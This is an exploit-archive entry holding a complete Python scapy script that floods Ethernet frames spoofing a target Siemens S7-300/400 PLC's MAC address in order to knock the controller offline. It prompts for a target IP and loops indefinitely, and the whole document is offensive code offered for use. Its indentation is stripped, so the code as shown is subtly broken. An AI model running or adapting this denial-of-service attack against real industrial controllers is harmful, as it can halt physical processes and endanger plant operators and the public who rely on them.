Siemens S7 Layer 2 Denial Of Service

`# Exploit Title: Siemens S7 Layer 2 - Denial of Service (DoS)  
# Date: 21/10/2021  
# Exploit Author: RoseSecurity  
# Vendor Homepage: https://www.siemens.com/us/en.html  
# Version: Firmware versions >= 3  
# Tested on: Siemens S7-300, S7-400 PLCs  
  
  
#!/usr/bin/python3  
  
from scapy.all import *  
from colorama import Fore, Back, Style  
from subprocess import Popen, PIPE  
from art import *  
import threading  
import subprocess  
import time  
import os  
import sys  
import re  
  
# Banner  
  
print(Fore.RED + r"""  
  
▄▄▄· ▄• ▄▌▄▄▄▄▄ • ▌ ▄ ·. ▄▄▄· ▄▄▄▄▄ ▄▄▄   
▐█ ▀█ █▪██▌•██ ▪ ·██ ▐███▪▐█ ▀█ •██ ▪ ▀▄ █·   
▄█▀▀█ █▌▐█▌ ▐█.▪ ▄█▀▄ ▐█ ▌▐▌▐█·▄█▀▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄   
▐█ ▪▐▌▐█▄█▌ ▐█▌·▐█▌.▐▌██ ██▌▐█▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌   
▀ ▀ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪▀▀▀ ▀ ▀ ▀▀▀ ▀█▄▀▪.▀ ▀   
▄▄▄▄▄▄▄▄ .▄▄▄ • ▌ ▄ ·. ▪ ▐ ▄ ▄▄▄· ▄▄▄▄▄ ▄▄▄   
•██ ▀▄.▀·▀▄ █··██ ▐███▪██ •█▌▐█▐█ ▀█ •██ ▪ ▀▄ █·  
▐█.▪▐▀▀▪▄▐▀▀▄ ▐█ ▌▐▌▐█·▐█·▐█▐▐▌▄█▀▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄   
▐█▌·▐█▄▄▌▐█•█▌██ ██▌▐█▌▐█▌██▐█▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌  
▀▀▀ ▀▀▀ .▀ ▀▀▀ █▪▀▀▀▀▀▀▀▀ █▪ ▀ ▀ ▀▀▀ ▀█▄▀▪.▀ ▀  
""")  
  
time.sleep(1.5)  
  
# Get IP to exploit  
  
IP = input("Enter the IP address of the device to exploit: ")  
  
# Find the mac address of the device  
  
Mac = getmacbyip(IP)  
  
# Function to send the ouput to "nothing"  
  
def NULL ():  
  
f = open(os.devnull, 'w')  
sys.stdout = f  
  
# Eternal loop to produce DoS condition  
  
def Arnold ():  
  
AutomatorTerminator = True  
  
while AutomatorTerminator == True:  
Packet = Ether()  
Packet.dst = "00:00:00:00:00:00"  
Packet.src = Mac  
sendp(Packet)  
NULL()  
def Sarah ():  
  
AutomatorTerminator = True  
  
while AutomatorTerminator == True:  
Packet = Ether()  
Packet.dst = "00:00:00:00:00:00"  
Packet.src = Mac  
sendp(Packet)  
NULL()  
def Kyle ():  
AutomatorTerminator = True  
  
while AutomatorTerminator == True:  
Packet = Ether()  
Packet.dst = "00:00:00:00:00:00"  
Packet.src = Mac  
sendp(Packet)  
NULL()  
  
# Arnold  
ArnoldThread = threading.Thread(target=Arnold)  
ArnoldThread.start()  
ArnoldThread.join()  
NULL()  
  
# Sarah  
  
SarahThread = threading.Thread(target=Sarah)  
SarahThread.start()  
SarahThread.join()  
NULL()  
  
# Kyle  
  
KyleThread = threading.Thread(target=Kyle)  
KyleThread.start()  
KyleThread.join()  
NULL()  
  
  
`